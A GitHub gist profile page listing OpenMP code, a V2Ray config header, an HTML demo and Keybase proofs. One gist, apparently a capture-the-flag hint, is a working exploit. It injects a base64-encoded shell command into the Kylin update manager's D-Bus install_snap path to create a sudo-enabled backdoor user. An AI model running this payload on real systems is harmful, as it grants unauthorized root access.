Skip to content

Instantly share code, notes, and snippets.

View glzjin's full-sized avatar

glzjin glzjin

View GitHub Profile
@glzjin
glzjin / v2-for-offsec-config.json
Created February 27, 2023 09:45
v2-for-offsec-config.json
// Config file of V2Ray. This file follows standard JSON format, with comments support.
// Uncomment entries below to satisfy your needs. Also read our manual for more detail at
// https://www.v2fly.org/
{
"log": {
// By default, V2Ray writes access log to stdout.
// "access": "/path/to/access/log/file",
// By default, V2Ray write error log to stdout.
// "error": "/path/to/error/log/file",
@glzjin
glzjin / 1.py
Last active February 2, 2023 08:28
A hint for KP-Basic
import dbus
import base64
command = "adduser fakeadmin && adduser fakeadmin sudo && echo 'fakeadmin:Bb123***'|chpasswd"
command_base64 = base64.b64encode(command.encode()).decode()
path = '/tmp/`echo ' + command_base64 + '|base64 -d|sh`'
bus = dbus.SystemBus()
remote_object = bus.get_object("cn.kylinos.KylinUpdateManager", "/cn/kylinos/KylinUpdateManager")
remote_object.install_snap(path, dbus_interface="cn.kylinos.KylinUpdateManager")
@glzjin
glzjin / openmp.c
Created December 14, 2018 21:17
Openmp3
#include <iostream>
#include "omp.h"
#include <sys/time.h>
#include <chrono>
#include <cmath>
using namespace std;
int mask[3];
@glzjin
glzjin / openmp.c
Created December 3, 2018 16:57
openmp112*
#include <iostream>
#include "omp.h"
#include <sys/time.h>
#include <chrono>
#include <cmath>
using namespace std;
class EquationsLinearSystem
{
@glzjin
glzjin / index.html
Last active December 3, 2018 11:59
Mouse Follow
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Mouse Follow</title>
<style>
#p {
text-align: center;
-webkit-appearance: none;
-moz-appearance: none;
@glzjin
glzjin / openmp1.cpp
Last active November 20, 2018 12:26
Test OpenMp 2
#include <iostream>
#include "omp.h"
#include <sys/time.h>
#include <chrono>
#include <cmath>
using namespace std;
void DataInit (double* pMatrix, double* pVector, int Size) { // Init components of vector and matrix
int i;
@glzjin
glzjin / openmp.cpp
Last active November 20, 2018 12:25
Test OpenMp
#include <iostream>
#include "omp.h"
#include <sys/time.h>
#include <chrono>
using namespace std;
double random(double start, double end)
{
return start + (end - start) * rand() / (RAND_MAX + 1.0);

Keybase proof

I hereby claim:

  • I am glzjin on github.
  • I am glzjin (https://keybase.io/glzjin) on keybase.
  • I have a public key ASCnRvgA_gnoSKwFqmIuDLxsh1P3CTGdDraJmd1eZ3Y1fgo

To claim this, I am signing this object:

Keybase proof

I hereby claim:

  • I am glzjin on github.
  • I am glzjin (https://keybase.io/glzjin) on keybase.
  • I have a public key ASCnRvgA_gnoSKwFqmIuDLxsh1P3CTGdDraJmd1eZ3Y1fgo

To claim this, I am signing this object: